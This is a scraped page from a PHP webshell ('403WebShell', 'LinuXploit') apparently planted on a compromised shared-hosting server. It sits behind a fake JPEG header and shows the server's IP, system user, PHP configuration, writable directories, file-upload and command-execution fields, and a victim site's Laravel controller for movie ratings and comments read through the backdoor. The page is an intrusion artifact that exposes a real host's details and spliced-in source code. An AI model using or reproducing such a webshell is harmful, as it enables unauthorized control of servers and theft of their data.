����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.119.132.21
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/././gle.gltechlimited.com/app/Http/Controllers/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/././gle.gltechlimited.com/app/Http/Controllers/Api/RatingCommentController.php
<?php

namespace App\Http\Controllers\Api;

use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use DB;
use App\MovieComment;
use App\MovieSubcomment;
use App\Comment;
use App\Subcomment;
use App\UserRating;
use App\Movie;
use App\TvSeries;
use App\Blog;
use App\Config;

class RatingCommentController extends Controller
{ 
  public function checkrating(Request $request,$type,$id)
  { 
    $data  = new MainController;
    $secretData = $data->CheckSecretKey($request);
    
    if($secretData != ''){
      return $secretData;
    }

    $uid = Auth::user()->id;
    if($type == 'M'){
      $exists = UserRating::where('user_id',$uid)->
          where('movie_id',$id)->first();
    }
    elseif($type == 'T'){
      $exists = UserRating::where('user_id',$uid)->
          where('tv_id',$id)->first();
    }
    if(isset($exists)){
      return response()->json(array($exists->rating), 200); 
    }
    else{
      return response()->json(array('0'), 401);  
    }
  }
  public function rating(Request $request)
  {    
    $data  = new MainController;
    $secretData = $data->CheckSecretKey($request);
    
    if($secretData != ''){
      return $secretData;
    }

    $input = $request->all();
    $uid = Auth::user()->id;
    if($request->type == 'M'){
      $exists = UserRating::where('user_id',$uid)->
          where('movie_id',$request->id)->delete();
      $movie = Movie::find($request->id);
      if($movie){
          $rating = UserRating::create([
            'user_id' => $uid,
            'movie_id' => $request->id,
            'rating' => $request->rating,
            'review' => $request->review != NULL ? $request->review : NULL, 
          ]);
      }
    }
    elseif($request->type == 'T'){
      $exists = UserRating::where('user_id',$uid)->
          where('tv_id',$request->id)->delete();
      $tv = TvSeries::find($request->id);
      if($tv){
          $rating = UserRating::create([
            'user_id' => $uid,
            'tv_id' => $request->id,
            'rating' => $request->rating,
            'review' => $request->review != NULL ? $request->review : NULL, 
          ]);
      }
    }
    if(isset($rating)){
      return response()->json(array('1'), 200); 
    }
    else{
      return response()->json(array('error'), 401);  
    }
  }
  
  public function comment_store(Request $request)
  {
    $data  = new MainController;
    $secretData = $data->CheckSecretKey($request);
    
    if($secretData != ''){
      return $secretData;
    }

    $user = Auth::user();
    if(!isset($user)){
      $request->validate([
        'name' => 'required',  
        'email' =>'required',   
        'comment' => 'required',      
      ]);
    }
    else{
      $request->validate([
        'comment' => 'required',      
      ]);
    }

    $config = Config::first();
    if($config->comments == 1 && $config->comments_approval == 1){
        $status = 0;
    }else{
        $status = 1;
    }
   

    $name = isset($request->name) && $request->name != null ? $request->name : $user->name; 
    $email = isset($request->email) && $request->email != null ? $request->email : $user->email; 
    $userid = isset($request->id) && $request->id != null ? $request->id : $user->id; 


    if($request->type == 'B'){
       $blog = Blog::find($request->id);
        if($blog){
            $data = Comment::create([
            'name' => $name,
            'email' => $email,
            'blog_id' => $request->id,
            'comment' => $request->comment   
          ]);
        }
    }
    elseif($request->type == 'M'){
      $movie = Movie::find($request->id);
      if($movie){
          $data = MovieComment::create([
            'name' => $name,
            'email' => $email,
            'movie_id' => $request->id,
            'comment' => $request->comment,
            'user_id' => $userid,
            'status' =>   $status
          ]);
      }
    }    
    elseif($request->type == 'T'){
        $tv = TvSeries::find($request->id);
        if($tv){
          $data = MovieComment::create([
            'name' => $name,
            'email' => $email,
            'tv_series_id' => $request->id,
            'comment' => $request->comment,
            'user_id' => $userid,
            'status' => $status   
          ]);
        }
    }    
    if(isset($data)){
      return response()->json(array('1'), 200); 
    }
    else{
      return response()->json(array('error'), 401);  
    }   
  }
  public function reply(Request $request){
    
    $data  = new MainController;
    $secretData = $data->CheckSecretKey($request);
    
    if($secretData != ''){
      return $secretData;
    }

    $request->validate([
      'reply' =>'required',
    ]);    
    $user = Auth::user();
    $input = $request->all();
    $config = Config::first();
    if($config->comments == 1 && $config->comments_approval == 1){
        $status = 0;
    }else{
        $status = 1;
    }
    if($request->type == 'B'){
      $data = Subcomment::create([
        'user_id' => $user->id,
        'blog_id' => $request->id,
        'comment_id' => $request->reply_id,
        'reply' => $request->reply   
      ]);
    }
    elseif($request->type == 'M'){
      $data = MovieSubcomment::create([
        'user_id' => $user->id,
        'movie_id' => $request->id,
        'movie_comment_id' => $request->reply_id,
        'reply' => $request->reply,
        'status' => $status
        
      ]);
    }    
    elseif($request->type == 'T'){
      $data = MovieComment::create([
        'user_id' => $user->id,
        'tv_series_id' => $request->id,
        'movie_comment_id' => $request->reply_id,
        'reply' => $request->reply,
        'status' => $status
      ]);
    }    
    if(isset($data)){
      return response()->json(array('1'), 200); 
    }
    else{
      return response()->json(array('error'), 401);  
    }   
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit